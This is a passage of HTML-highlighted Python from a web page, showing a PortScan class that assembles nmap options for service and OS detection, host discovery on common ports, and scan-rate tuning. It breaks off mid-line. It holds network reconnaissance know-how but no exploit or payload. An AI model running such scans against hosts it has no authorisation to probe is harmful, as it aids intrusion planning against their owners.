0.4em;color:#7f7f7f\"\u003e39\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e40\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e41\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e42\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e43\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e44\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e45\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e46\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e47\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e48\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e49\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e50\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e51\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e52\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e53\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e54\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e55\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e56\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e57\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e58\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e59\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e60\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e61\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e62\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e63\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e64\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e65\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e66\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e67\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e68\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e69\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e70\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e71\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e72\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e73\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e74\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e75\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e76\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e77\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e78\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e79\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e80\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e81\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e82\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e83\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e84\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e85\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e86\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e87\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e88\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e89\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e90\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e91\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e92\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e93\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e94\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e95\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eclass\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ePortScan\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003e__init__\u003c/span\u003e(self, targets, ports\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eNone\u003c/span\u003e, service_detect\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eFalse\u003c/span\u003e, os_detect\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eFalse\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                 port_parallelism\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eNone\u003c/span\u003e, port_min_rate\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eNone\u003c/span\u003e, custom_host_timeout\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eNone\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etargets \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ejoin(targets)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eports \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e ports\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003emax_hostgroup \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e128\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ealive_port \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;22,80,443,843,3389,8007-8011,8443,9090,8080-8091,8093,8099,5000-5004,2222,3306,1433,21,25\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;-sT -n --open\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003emax_retries \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ehost_timeout \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e60\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eparallelism \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e port_parallelism  \u003cspan style=\"color:#75715e\"\u003e# 默认 32\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003emin_rate \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e port_min_rate  \u003cspan style=\"color:#75715e\"\u003e# 默认64\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e service_detect:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ehost_timeout \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e60\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; -sV\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e os_detect:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ehost_timeout \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e60\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; -O\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e len(self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eports\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003esplit(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;,\u0026#34;\u003c/span\u003e)) \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e60\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; -PE -PS\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eformat(self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ealive_port)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003emax_retries \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eports \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;0-65535\u0026#34;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; -Pn\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eports \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;0-65535\u0026#34;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003emax_hostgroup \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003emin_rate \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e max(self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003emin_rate, \u003cspan style=\"color:#ae81ff\"\u003e400\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; -PE -PS\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eformat(self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ealive_port)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ehost_timeout \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e60\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003emax_retries \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; --max-rtt-timeout 800ms\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; --min-rate \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eformat(self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003emin_rate)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; --script-timeout 6s\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; --max-hostgroup \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eformat(self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003emax_hostgroup)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# 依据传过来的超时为准\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e custom_host_timeout \u003cspan style=\"color:#f92672\"\u003eis\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eNone\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e int(custom_host_timeout) \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ehost_timeout \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e custom_host_timeout\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; --host-timeout \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003es\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eformat(self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ehost_timeout)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; --min-parallelism \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eformat(self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eparallelism)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; --max-retries \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eformat(self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003emax_retries)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003erun\u003c/span\u003e(self):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        logger\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003einfo(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;nmap target \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e  ports \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e  arguments \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eformat(\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etargets[:\u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e], self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eports[:\u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e], self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        nm \u003cspan 